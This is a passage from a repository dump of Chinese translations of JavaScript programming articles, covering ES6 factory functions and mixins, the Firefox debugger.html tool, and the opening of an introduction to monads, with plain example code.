    "path": "TODO/javascript-factory-functions-with-es6.md",
    "content": "\n> * 原文地址：[JavaScript Factory Functions with ES6+](https://medium.com/javascript-scene/javascript-factory-functions-with-es6-4d224591a8b1)\n> * 原文作者：[Eric Elliott](https://medium.com/@_ericelliott?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/javascript-factory-functions-with-es6.md](https://github.com/xitu/gold-miner/blob/master/TODO/javascript-factory-functions-with-es6.md)\n> * 译者：[lampui](https://github.com/lampui)\n> * 校对者：[IridescentMia](https://github.com/IridescentMia)、[sunui](https://github.com/sunui)\n\n# ES6+ 中的 JavaScript 工厂函数（第八部分）\n\n![Smoke Art Cubes to Smoke — MattysFlicks — (CC BY 2.0)](https://cdn-images-1.medium.com/max/800/1*uVpU7iruzXafhU2VLeH4lw.jpeg)\n\n>注意：这是“软件编写”系列文章的第八部分，该系列主要阐述如何在 JavaScript ES6+ 中从零开始学习函数式编程和组合化软件（compositional software）技术（译注：关于软件可组合性的概念，参见维基百科 [Composability](https://en.wikipedia.org/wiki/Composability)）。后续还有更多精彩内容，敬请期待！\n> [< 上一篇](https://github.com/xitu/gold-miner/blob/master/TODO/functional-mixins-composing-software.md) | [<< 第一篇](https://github.com/xitu/gold-miner/blob/master/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md)  | [下一篇 >](https://github.com/xitu/gold-miner/blob/master/TODO/why-composition-is-harder-with-classes.md)\n\n**工厂函数**是一个能返回对象的函数，它既不是类也不是构造函数。在 JavaScript 中，任何函数都可以返回一个对象，如果函数前面没有使用 `new` 关键字，却又返回一个对象，那这个函数就是一个工厂函数。\n\n因为工厂函数提供了轻松生成对象实例的能力，且无需深入学习类和 `new` 关键字的复杂性，所以工厂函数在 JavaScript 中一直很具吸引力。\n\nJavaScript 提供了非常方便的对象字面量语法，代码如下：\n\n```\nconst user = {\n  userName: 'echo',\n  avatar: 'echo.png'\n};\n```\n\n就像 JSON 的语法（JSON 就是基于 JavaScript 的对象字面量语法），`:`（冒号）左边是属性名，右边是属性值。你可以使用点运算符访问变量：\n\n```\nconsole.log(user.userName); // \"echo\"\n```\n\n或者使用方括号及属性名访问变量：\n\n```\nconst key = 'avatar';\nconsole.log( user[key] ); // \"echo.png\"\n```\n\n如果在作用域内还有变量和你的属性名相同，那你可以直接在对象字面量中使用这个变量，这样就省去了冒号和属性值：\n\n```\nconst userName = 'echo';\nconst avatar = 'echo.png';\nconst user = {\n  userName,\n  avatar\n};\nconsole.log(user);\n// { \"avatar\": \"echo.png\",   \"userName\": \"echo\" }\n```\n\n对象字面量支持简洁表示法。我们可以添加一个 `.setUserName()` 的方法：\n\n```\nconst userName = 'echo';\nconst avatar = 'echo.png';\nconst user = {\n  userName,\n  avatar,\n  setUserName (userName) {\n    this.userName = userName;\n    return this;\n  }\n};\nconsole.log(user.setUserName('Foo').userName); // \"Foo\"\n```\n\n在简洁表示法中，`this` 指向的是调用该方法的对象，要调用一个对象的方法，只需要简单地使用点运算符访问方法并使用圆括号调用即可，例如 `game.play()` 就是在 `game` 这一对象上调用 `.play()`。要使用点运算符调用方法，这个方法必须是对象属性。你也可以使用函数原型方法 `.call()`、`.apply()` 或 `.bind()` 把一个方法应用于一个对象上。\n\n本例中，`user.setUserName('Foo')` 是在 `user` 对象上调用 `.setUserName()`，因此 `this === user`。在`.setUserName()` 方法中，我们通过 `this` 这个引用修改了 `.userName` 的值，然后返回了相同的对象实例，以便于后续方法链式调用。\n\n## 字面量偏向单一对象，工厂方法适用众多对象\n\n如果你需要创建多个对象，你应该考虑把对象字面量和工厂函数结合使用。\n\n使用工厂函数，你可以根据需要创建任意数量的用户对象。假如你正在开发一个聊天应用，你会用一个用户对象表示当前用户，以及用很多个用户对象表示其他已登录和在聊天的用户，以便显示他们的名字和头像等等。\n\n让我们把 `user` 对象转换为一个 `createUser()` 工厂方法:\n\n```\nconst createUser = ({ userName, avatar }) => ({\n  userName,\n  avatar,\n  setUserName (userName) {\n    this.userName = userName;\n    return this;\n  }\n});\nconsole.log(createUser({ userName: 'echo', avatar: 'echo.png' }));\n/*\n{\n  \"avatar\": \"echo.png\",\n  \"userName\": \"echo\",\n  \"setUserName\": [Function setUserName]\n}\n*/\n```\n\n## 返回对象\n\n箭头函数（`=>`）具有隐式返回的特性：如果函数体由单个表达式组成，则可以省略 `return` 关键字。`()=>'foo'` 是一个没有参数的函数，并返回字符串 `\"foo\"`。\n\n返回对象字面量时要小心。当使用大括号时，JavaScript 默认你创建的是一个函数体，例如 `{ broken: true }`。如果你需要返回一个明确的对象字面量，那你就需要通过使用圆括号将对象字面量包起来以消除歧义，如下所示：\n\n```\nconst noop = () => { foo: 'bar' };\nconsole.log(noop()); // undefined\nconst createFoo = () => ({ foo: 'bar' });\nconsole.log(createFoo()); // { foo: \"bar\" }\n```\n\n在第一个例子中，`foo:` 被解释为一个标签，`bar` 被解释为一个没有被赋值或者返回的表达式，因此函数返回 `undefined`。\n\n在 `createFoo()` 例子中，圆括号强制着大括号，使其被解释为要求值的表达式，而不是一个函数体。\n\n## 解构\n\n请特别注意函数声明：\n\n```\nconst createUser = ({ userName, avatar }) => ({\n```\n\n这一行里，大括号 (`{, }`) 表示对象解构。这个函数有一个参数（即一个对象），但是从这个参数中，却解构出了两个形参，`userName` 和 `avatar`。这些形参可以作为函数体内的变量使用。解构还可以用于数组：\n\n```\nconst swap = ([first, second]) => [second, first];\nconsole.log( swap([1, 2]) ); // [2, 1]\n```\n\n你可以使用扩展语法 (`...varName`) 获取数组（或参数列表）余下的值，然后将这些值回传成单个元素：\n\n```\nconst rotate = ([first, ...rest]) => [...rest, first];\nconsole.log( rotate([1, 2, 3]) ); // [2, 3, 1]\n```\n\n## 计算属性值\n\n前面我们使用方括号的方法动态访问对象的属性值：\n\n```\nconst key = 'avatar';\nconsole.log( user[key] ); // \"echo.png\"\n```\n\n我们也可以计算属性值来赋值：\n\n```\nconst arrToObj = ([key, value]) => ({ [key]: value });\nconsole.log( arrToObj([ 'foo', 'bar' ]) ); // { \"foo\": \"bar\" }\n```\n\n本例中，`arrToObj` 接受一个包含键值对（又称`元组`）的数组，并将其转化成一个对象。因为我们并不知道属性名，因此我们需要计算属性名以便在对象上设置属性值。为了做到这一点，我们使用了方括号表示法，来设置属性名，并将其放在对象字面量的上下文中来创建对象：\n\n```\n{ [key]: value }\n```\n\n在赋值完成后，我们就能得到像下面这样的对象：\n\n```\n{ \"foo\": \"bar\" }\n```\n\n## 默认参数\n\nJavaScript 函数支持默认参数值，给我们带来以下优势：\n\n1. 用户可以通过适当的默认值省略参数。\n2. 函数自我描述性更高，因为默认值提供预期的输入例子。\n3. IDE 和静态分析工具可以利用默认值推断参数的类型。例如，一个默认值 `1` 表示参数可以接受的数据类型为 `Number`。\n\n使用默认参数，我们可以为我们的 `createUser` 工厂函数描述预期的接口，此外，如果用户没有提供信息，可以自动地补充`某些`细节：\n\n```\nconst createUser = ({\n  userName = 'Anonymous',\n  avatar = 'anon.png'\n} = {}) => ({\n  userName,\n  avatar\n});\nconsole.log(\n  // { userName: \"echo\", avatar: 'anon.png' }\n  createUser({ userName: 'echo' }),\n  // { userName: \"Anonymous\", avatar: 'anon.png' }\n  createUser()\n);\n```\n\n函数签名的最后一部分可能看起来有点搞笑：\n\n```\n} = {}) => ({\n```\n\n在参数声明最后那部分的 `= {}` 表示：如果传进来的实参不符合要求，则将使用一个空对象作为默认参数。当你尝试从空对象解构赋值的时候，属性的默认值会被自动填充，因为这就是默认值所做的工作：用预先定义好的值替换 `undefined`。\n\n如果没有 `= {}` 这个默认值，且没有向 `createUser()` 传递有效的实参，则将会抛出错误，因为你不能从 `undefined` 中访问属性。\n\n## 类型判断\n\n在写这篇文章的时候，JavaScript 都还没有内置的类型注解，但是近几年涌现了一批格式化工具或者框架来填补这一空白，包括 JSDoc（由于出现了更好的选择其呈现出下降趋势）、Facebook 的 [Flow](https://flow.org/)、还有微软的 [TypeScript](https://www.typescriptlang.org/)。我个人使用 [rtype](https://github.com/ericelliott/rtype)，因为我觉得它在函数式编程方面比 TypeScript 可读性更强。\n\n直至写这篇文章，各种类型注解方案其实都不相上下。没有一个获得 JavaScript 规范的庇护，而且每个方案都有它明显的不足。\n\n类型推断是基于变量所在的上下文推断其类型的一个过程，在 JavaScript 中，这是对类型注解非常好的一个替代。\n\n如果你在标准的 JavaScript 函数中提供足够的线索去推断，你就能获得类型注解的大部分好处，且不用担心任何额外成本或风险。\n\n即使你决定使用像 TypeScript 或 Flow 这样的工具，你也应该尽可能利用类型推断的好处，并保存在类型推断抽风时的类型注解。例如，原生 JavaScript 是不支持定义共享接口的。但使用 TypeScript 或 rtype 都可以方便有效地定义接口。\n\n[Tern.js](http://ternjs.net/) 是一个流行的 JavaScript 类型推断工具，它在很多代码编辑器或 IDE 上都有插件。\n\n微软的 Visual Studio Code 不需要 Tern，因为它把 TypeScript 的类型推断功能附带到了 JavaScript 代码的编写中。\n\n当你在 JavaScript 函数中指定默认参数值时，很多诸如 Tern.js、TypeScript 和 Flow 的类型推断工具就可以在 IDE 中给予提示以帮助开发者正确地使用 API。\n\n没有默认值，各种 IDE（更多的时候，连我们自己）都没有足够的信息来判断函数预期的参数类型。\n\n![没有默认值， `userName` 的类型未知。](https://cdn-images-1.medium.com/max/800/1*2sP_9k1e0dkgYqdEPs0G3g.png)\n\n有了默认值，IDE (更多的时候，我们自己) 可以从代码中推断出类型。\n\n![有默认值，IDE 可以提示 `userName` 的类型应该是字符串。](https://cdn-images-1.medium.com/max/800/1*tFUXCLA8ClAzsPgZXGGR9A.png)\n\n将参数限制为固定类型（这会使通用函数和高阶函数更加受限）是不怎么合理的。但要说这种方法什么时候有意义的话，使用默认参数通常就是，即使你已经在使用 TypeScript 或 Flow 做类型推断。\n\n## Mixin 结构的工厂函数\n\n工厂函数擅于利用一个优秀的 API 创建对象。通常来说，它们能满足基本需求，但不久之后，你就会遇到这样的情况，总会把类似的功能构建到不同类型的对象中，所以你需要把这些功能抽象为 mixin 函数，以便轻松重用。\n\nmixin 的工厂函数就要大显身手了。我们来构建一个 `withConstructor` 的 mixin 函数，把 `.constructor` 属性添加到所有的对象实例中。\n\n`with-constructor.js:`\n\n```\nconst withConstructor = constructor => o => {\n  const proto = Object.assign({},\n    Object.getPrototypeOf(o),\n    { constructor }\n  );\n  return Object.assign(Object.create(proto), o);\n};\n```\n\n现在你可以导入和使用其他 mixins：\n```\nimport withConstructor from `./with-constructor';\nconst pipe = (...fns) => x => fns.reduce((y, f) => f(y), x);\n// 或者 `import pipe from 'lodash/fp/flow';`\n// 设置一些 mixin 的功能\nconst withFlying = o => {\n  let isFlying = false;\n  return {\n    ...o,\n    fly () {\n      isFlying = true;\n      return this;\n    },\n    land () {\n      isFlying = false;\n      return this;\n    },\n    isFlying: () => isFlying\n  }\n};\nconst withBattery = ({ capacity }) => o => {\n  let percentCharged = 100;\n  return {\n    ...o,\n    draw (percent) {\n      const remaining = percentCharged - percent;\n      percentCharged = remaining > 0 ? remaining : 0;\n      return this;\n    },\n    getCharge: () => percentCharged,\n    get capacity () {\n      return capacity\n    }\n  };\n};\nconst createDrone = ({ capacity = '3000mAh' }) => pipe(\n  withFlying,\n  withBattery({ capacity }),\n  withConstructor(createDrone)\n)({});\nconst myDrone = createDrone({ capacity: '5500mAh' });\nconsole.log(`\n  can fly:  ${ myDrone.fly().isFlying() === true }\n  can land: ${ myDrone.land().isFlying() === false }\n  battery capacity: ${ myDrone.capacity }\n  battery status: ${ myDrone.draw(50).getCharge() }%\n  battery drained: ${ myDrone.draw(75).getCharge() }%\n`);\nconsole.log(`\n  constructor linked: ${ myDrone.constructor === createDrone }\n`);\n```\n\n正如你所见，可重用的 `withConstructor()` mixin 与其他 mixin 一起被简单地放入 `pipeline` 中。`withBattery()` 可以被其他类型的对象使用，如机器人、电动滑板或便携式设备充电器等等。`withFlying()` 可以被用来模型飞行汽车、火箭或气球。\n\n对象组合更多的是一种思维方式，而不是写代码的某一特定技巧。你可以在很多地方用到它。功能组合只是从头开始构建你思维方式的最简单方法，工厂函数就是将对象组合有关实现细节包装成一个友好 API 的简单方法。\n\n## 结论\n\n对于对象的创建和工厂函数，ES6 提供了一种方便的语法，大多数时候，这样就足够了，但因为这是 JavaScript，所以还有一种更方便并更像 Java 的语法：`class` 关键字。\n\n在 JavaScript 中，类比工厂更冗长和受限，当进行代码重构时更容易出现问题，但也被像是 React 和 Angular 等主流前端框架所采纳使用，而且还有一些少见的用例，使得类更有存在意义。\n\n> “有时，最优雅的实现仅仅是一个函数。不是方法，不是类，不是框架。仅仅只是一个函数。” ~ John Carmack\n\n最后，你还要切记，不要把事情搞复杂，工厂函数不是必需的，对于某个问题，你的解决思路应当是：\n\n`纯函数 > 工厂函数 > 函数式 Mixin > 类`\n\n[Next: Why Composition is Harder with Classes >](https://medium.com/javascript-scene/why-composition-is-harder-with-classes-c3e627dcd0aa)\n\n## 接下来\n\n想更深入学习关于 JavaScript 的对象组合？\n\n[跟着 Eric Elliott 学 Javacript](http://ericelliottjs.com/product/lifetime-access-pass/)，机不可失时不再来！\n\n![](https://cdn-images-1.medium.com/max/800/1*3njisYUeHOdyLCGZ8czt_w.jpeg)\n\n**Eric Elliott** 是  [**“编写 JavaScript 应用”**](http://pjabook.com) （O’Reilly） 以及 [**“跟着 Eric Elliott 学 Javascript”**](http://ericelliottjs.com/product/lifetime-access-pass/) 两书的作者。他为许多公司和组织作过贡献，例如 **Adobe Systems**、**Zumba Fitness**、**The Wall Street Journal**、**ESPN** 和 **BBC** 等 , 也是很多机构的顶级艺术家，包括但不限于 **Usher**、**Frank Ocean** 以及 **Metallica**。\n\n大多数时间，他都在 San Francisco Bay Area，同这世上最美丽的女子在一起。\n\n感谢 [JS_Cheerleader](https://medium.com/@JS_Cheerleader?source=post_page).\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/javascript-firefox-debugger.md",
    "content": "> * 原文地址：[Debugging JavaScript With A Real Debugger You Did Not Know You Already Have](https://www.smashingmagazine.com/2018/02/javascript-firefox-debugger/)\n> * 原文作者：[Dustin Driver](https://www.smashingmagazine.com/author/dustindriver-jasonlaster)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/javascript-firefox-debugger.md](https://github.com/xitu/gold-miner/blob/master/TODO/javascript-firefox-debugger.md)\n> * 译者：[Serendipity96](https://github.com/Serendipity96)\n> * 校对者：[ZhiyuanSun](https://github.com/ZhiyuanSun)，[noahziheng](https://github.com/noahziheng)\n\n# 来试试这个真正的 JavaScript 调试器吧！\n\n`console.log` 可以告诉你很多关于应用程序的信息，但它不能真正调试你的代码。因此，你需要一个完整的 JavaScript 调试器。新的 Firefox JavaScript 调试器能够帮你写快速且无缺陷的代码。下面来介绍它的用法。\n\n在这个例子中，我们将用 Debugger 打开一个非常简单的应用程序。此[应用程序](https://mozilladevelopers.github.io/sample-todo/01-variables/)是基于一个基础的 JavaScript 开源框架开发的。在最新版本的[Firefox Developer Edition](https://www.mozilla.org/firefox/developer/)中打开此程序，Mac系统按 `Option` + `Cmd` + `S` 或者 Windows系统按 `Shift` + `Ctrl` + `S` 启动 `debugger.html`。调试器共分为三个窗格：源列表窗格，源代码窗格和工具窗格。\n\n![](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_2000/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/dd605d5c-e94d-43e3-a7ef-94eea52cff9e/image2.png)\n\n[大图预览](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/dd605d5c-e94d-43e3-a7ef-94eea52cff9e/image2.png)\n\n工具窗格进一步分为工具栏，监视表达式，断点，调用堆栈和范围。\n\n![](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/2b99b781-28e8-4bff-a5ff-d1ee43c2d432/image3.png)\n\n[大图预览](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/2b99b781-28e8-4bff-a5ff-d1ee43c2d432/image3.png)\n\n### 停止使用 `console.log`\n\n使用 `console.log` 来调试代码是很诱人的。你只需在代码中添加一句 `console.log` ，然后执行即可找到变量的值，对不对？这确实可以奏效，它可能是麻烦且费时的。在这个例子中，我们将使用 `debugger.html` 单步执行这个待办事项应用的代码来查找变量的值。\n\n我们在 `debugger.html` 的一行代码中添加一个断点，来深入了解待办事项应用程序。断点告诉调试器在这一行上暂停，这样你可以点击代码来看看发生了什么。在这个例子中，我们在 app.js 文件的第 13 行添加一个断点。\n\n![](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/a3633871-65f2-4815-9270-2b5e19b316f4/image5.gif)\n\n[大图预览](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/a3633871-65f2-4815-9270-2b5e19b316f4/image5.gif)\n\n现在添加一个任务到列表中。代码将会暂停到 addTodo 函数，我们可以深入代码来查看输入的值等。将鼠标悬停在变量上可以看到更多信息。你可以看到锚点和子程序等各种信息：\n\n![](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/5f23c4d0-5b4d-41ff-9367-e534d0f96168/image4.png)\n\n[大图预览](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/5f23c4d0-5b4d-41ff-9367-e534d0f96168/image4.png)\n\n你也可以进入 Scopes 面板获取相同的信息。\n\n现在脚本已经暂停，我们可以使用工具栏来逐步调试。开始/暂停按钮正如工具栏上所显示的含义，\" Step Over \" 跨越当前代码行，\" Step In \" 步入函数调用，\" Step Out \" 运行脚本，直到当前函数退出。\n\n![](https://res.cloudinary.com/indysigner/image/fetch/f_auto,q_auto/w_400/https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/2c04dd57-b4b4-42c7-be87-685a71c8df56/image1.png)\n\n[大图预览](https://cloud.netlifyusercontent.com/assets/344dbf88-fdf9-42bb-adb4-46f01eedd629/2c04dd57-b4b4-42c7-be87-685a71c8df56/image1.png)\n\n我们也可以使用监视表达式来跟踪变量的值。只需在监视表达式字段中输入一个表达式，调试器将在你逐步执行代码时进行跟踪。在上面的例子中，你可以添加表达式 \" title \"和 \" to-do \"，当它们被调用时，调试器会显示它们的值。以下情况特别有用：\n\n* 你正单步执行并想看变量值的变化；\n* 你正多次调试同样的东西，并希望看到相同的变量值；\n* 你想弄清楚为什么那个该死的按钮不起作用。\n\n你也可以用 `debugger.html` 去调试 React / Redux 应用程序。以下是使用步骤：\n\n* 跳转到你要调试的组件。\n* 参阅左侧的组件大纲（类中的函数）。\n* 添加断点到相关的函数中。\n* 暂停并查看组件 props 和 state。\n* 调用堆栈是已经被简化的，这便于你查看应用程序代码和框架的交集。\n\n最后，`debugger.html` 让你看到可能引起错误的混淆或压缩的代码，这在处理像 React / Redux 这样的通用框架时特别有用。调试器知道你已暂停的组件，并显示简化的堆栈调用，组件大纲和属性。以下是开发人员 Amit Zur 在 [JS Kongress](https://2017.js-kongress.de/) 上描述他是如何使用 Firefox 调试器调试代码的：\n\n<iframe width=\"841\" height=\"400\" src=\"https://www.youtube.com/embed/Rop3EgPvBMw\" frameborder=\"0\" allow=\"autoplay; encrypted-media\" allowfullscreen></iframe>\n\n如果你在新的 `debugger.html` 中对深入代码走查感兴趣，请转到[Mozilla Developer Playground](https://mozilladevelopers.github.io/playground/debugger)。我们构建了一个系列教程，帮助开发人员学习如何有效地使用该工具来调试代码。\n\n### 开源的开发工具\n\n[`debugger.html` project](https://github.com/devtools-html/debugger.html)大约于两年前推出，同时对所有 Firefox DevTools 进行了全面改进。我们希望使用现代网络技术重建 DevTools，并对全世界的开发者开放。当一项技术开放的时候，能够自由扩展到我们 Mozilla 小团队所能想象的范围之外的任何地方。\n\nJavaScript对于任何高级 Web 应用程序都是必不可少的，所以强大的调试器是工具集的关键部分。我们希望构建一些快速，易于使用且适应性强 —— 能够调试未来可能出现的任何新 JavaScript 框架的产品。我们决定使用流行的网络技术，因为我们想与社区紧密合作。这种方法也将改善调试器本身 —— 如果我们采用了 WebPack 并开始在内部使用构建工具和 Source Map，我们希望改进 Source Map 生成和热加载。\n\n`debugger.html` 是用 React，Redux 和 Babel 构建的。React 组件轻量，可测试又易于设计。我们使用 React Storybook 进行快速的 UI 原型设计和记录共享组件。我们的组件使用 Jest 和 Enzyme 进行测试，这使得在 UI 上迭代更容易。这让使用各种 JavaScript 框架（如 React ）更容易。Babel 前端能让我们做一些像显示左侧边栏中 Component 类和它功能的事情。我们也可以做一些很酷的事情，例如把断点固定到函数中，当你改变你的代码时，它们不会移动。\n\nRedux Action 对于 UI 来说是一个简单的 API，但它也可以很容易地构建一个独立的 CLI JS 调试器。Redux Store 有查询当前调试状态的选择器。我们的 Reduce 单元测试激发了 Redux Action 并模拟浏览器响应。我们的集成测试使用调试器 Redux Action 来驱动浏览器。功能架构本身被设计为可测试的。\n\n我们每一步都依靠 Mozilla 开发人员社区。该项目在 [GitHub](https://github.com/devtools-html/debugger.html)  上发布，我们的团队联系世界各地的开发人员向他们寻求帮助。当我们开始时，自动化测试是社区发展的重要组成部分，测试可以预防性能退化，也能很好地记录容易遗漏的行为。这就是为什么我们采取的第一步是为 Redux Store 添加 Redux Action 和 Flow 类型的单元测试。事实上，社区确保我们的 Flow 和 Jest 覆盖率有助于确保每个文件都被打印和测试。\n\n作为开发者，我们相信工具越强，参与的人越多。我们的核心团队一直很小（2 人），但我们平均每周有 15 个贡献者。社区带来了多样的视角，帮助我们预测挑战并创造了我们从未想到的功能。我们现在整理了 24 个不同库的调用堆栈，其中有许多我们从未听说过。我们还在源代码树中显示 WebPack 和 Angular 映射。\n\n我们计划将所有的 Firefox DevTools 移到 GitHub 上，以便更广泛的受众使用和改进它们。我们很乐意为您做出贡献。转到 [`debugger.html`](https://github.com/devtools-html/debugger.html) 的 GitHub 项目页面。我们已经创建了一个关于如何在自己的机器上运行调试器的完整的指令列表，在列表里你可以修改使它做任何你想做的事。使用它来调试任何 JavaScript 代码 —— 浏览器，终端，服务器，手机，机器人。如果您有改进的方法，请通过 GitHub 告诉我们。\n\n**您可以在[这里](https://www.mozilla.org/firefox)下载最新版本的 Firefox（和 DevTools）。**\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/javascript-monads-made-simple.md",
    "content": "\n> * 原文地址：[JavaScript Monads Made Simple](https://medium.com/javascript-scene/javascript-monads-made-simple-7856be57bfe8)\n> * 原文作者：[\nEric Elliott](https://medium.com/@_ericelliott?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/javascript-monads-made-simple.md](https://github.com/xitu/gold-miner/blob/master/TODO/javascript-monads-made-simple.md)\n> * 译者：[yoyoyohamapi](htttps://github.com/yoyoyohamapi)\n> * 校对者：[IridescentMia](https://github.com/IridescentMia) [WJoan](https://github.com/WJoan)\n\n# JavaScript 让 Monad 更简单（软件编写）（第十一部分）\n\n![Smoke Art Cubes to Smoke — MattysFlicks — (CC BY 2.0)](https://cdn-images-1.medium.com/max/800/1*uVpU7iruzXafhU2VLeH4lw.jpeg)\n\n（译注：该图是用 PS 将烟雾处理成方块状后得到的效果，参见 [flickr](https://www.flickr.com/photos/68397968@N07/11432696204)。）\n\n> 这是 “软件编写” 系列文章的第十一部分，该系列主要阐述如何在 JavaScript ES6+ 中从零开始学习函数式编程和组合化软件（compositional software）技术（译注：关于软件可组合性的概念，参见维基百科\n> [< 上一篇](https://medium.com/javascript-scene/composable-datatypes-with-functions-aec72db3b093) | [<< 返回第一篇](https://github.com/xitu/gold-miner/blob/master/TODO/the-rise-and-fall-and-rise-of-functional-programming-composable-software.md)\n\n在开始学习 Monad 之前，你应当了解过：\n\n- 函数组合：`compose(f, g)(x) = (f ∘ g)(x) = f(g(x))`\n- Functor 基础：对于 `Array.map()` 操作有清晰的理解\n\n> Gilad Bracha 曾说过，“一旦你明白了 monad，你反而就没法向其他人解释什么是 monad 了”，这就好像 Lady Mondegreen 空耳诅咒一样，我们都可以称其为 Lady Monadgreen 诅咒了。（Gilad Bracha 这段话最著名的引用者你不会陌生，他是 Douglas Crockford）。\n\n> 译注：[Mondegreen](https://www.wikiwand.com/en/Mondegreen) 指空耳，Lady Modegreen 是该词的来源，当年一个小女孩把 “and laid him on the green” 错听成了 “and Lady Mondegreen”。\n\n> Kurt Vonnegut's 在其小说 Cat's Cradle 中写到：“Hoenikker 博士常说，任何无法对一个 8 岁大的孩子解释清楚他是做什么的科学家都是骗子”。\n\n如果你在网上搜索 “Monad”，你会被各种范畴学理论搞得头皮发麻，很多人也貌似 “很有帮助地” 用各种术语去解释它。\n\n但是，别被那些专业术语给唬住了，Monad 其实很简单。我们看一下 Monad 的本质。\n\n一个 **Monad** 是一种组合函数的方式，它除了返回值以外，还需要一个 context。常见的 Monad 有计算任务，分支任务，或者 I/O 操作。Monad 的 type lift（类型提升），flatten（展平）以及 map（映射）操作使得数据类型统一，从而实现了，即便组合链中存在 `a => M(b)` 这样的类型提升，函数仍然可组合。`a => M(b)` 是一个伴随着某个计算 context 的映射过程，Monad 通过 type lift，flatten 及 map 完成，但是用户不需要关心实现细节：\n\n- 函数 map： `a => b`\n- 具有 Functor context 的 map： `Functor(a) => Functor(b)`\n- 具备 Monad context，且需要 flatten 的 map：`Monad(Monad(a)) => Monad(b)`\n\n但是，“flatten”、“map” 和 “context” 究竟意味着什么？\n\n- **map** 指的是，“应用一个函数到 a，返回 b”。即给定某输入，返回某输出。\n- **context** 是一个 Monad 组合（包括 type lift，flatten 和 map）的计算细节。Functor/Monad 的 API 用到了 context，这些 API 允许你在应用的某些部分组合 Monad。Functor 及 Monad 的核心在于将 context 进行抽象，使我们在进行组合的时候不需要关注其中细节。在 context 内部进行 map 意味着你可以在 context 内部应用一个 map 函数完成 `a => b`，而新返回的 `b` 又被包裹了相同的 context。如果 `a` 的 context 是 Observable，那么 `b` 的 context 就也是 Observable，即 `Observable(a) => Observable(b)`。同理有，`Array(a) => Array(b)`。\n- **type lift** 指的是将一个类型提升到对应的 context 中，值因此被赋予了对应 context 拥有的 API 用于计算，驱动 context 相关计算等等。类型提升可以描述为 `a => F(a)`。（Monad 也是一种 Functor，所以这里我们用了 `F` 表示 Monad）\n- **flatten** 指的是去除值的 context 包裹。即 `F(a) => a`。\n\n上面的说明还是有些抽象，现在看个例子：\n\n```\nconst x = 20;             // `a` 数据类型的 `x`\nconst f = n => n * 2;     // 将 `a` 映射为 `b` 的函数\nconst arr = Array.of(x);  // 提升 `x` 的类型为 Array\n// JavaScript 中对于数组类型的提升可以使用语法糖：`[x]`\n// `Array.prototype.map()` 在 `x` 上应用了 map 函数 `f`，\n// map 发生的 context 正是数组\nconst result = arr.map(f); // [40]\n```\n\n在这个例子中，`Array` 就是 context，`x` 是进行 map 的值。\n\n这个例子没有涉及嵌套数组，但是在 JavaScript 中，你可以通过 `.concat()` 展开数组：\n\n```\n[].concat.apply([], [[1], [2, 3], [4]]); // [1, 2, 3, 4]\n```\n\n## 你早就用过 Monad 了\n\n无论你对范畴学知道多少，使用 Monad 都会优化你的代码。不知道利用 Monad 的好处的代码就可能让人头疼，如回调地狱，嵌套的条件分支，冗余代码等。\n\n本系列已经不厌其烦的说过，软件开发的本质即是组合，而 Monad 使得组合更加容易。再回顾下 Monad 的实质：\n\n- 函数 map，这要求函数的输入输出是整齐划一的： `a => b`\n- 具有 Functor context 的 map，要求函数的输入输出是 Functor： `Functor(a) => Functor(b)`\n- 具备 Monad context，且需要 flatten 的 map，则允许组合中发生类型提升：`Monad(Monad(a)) => 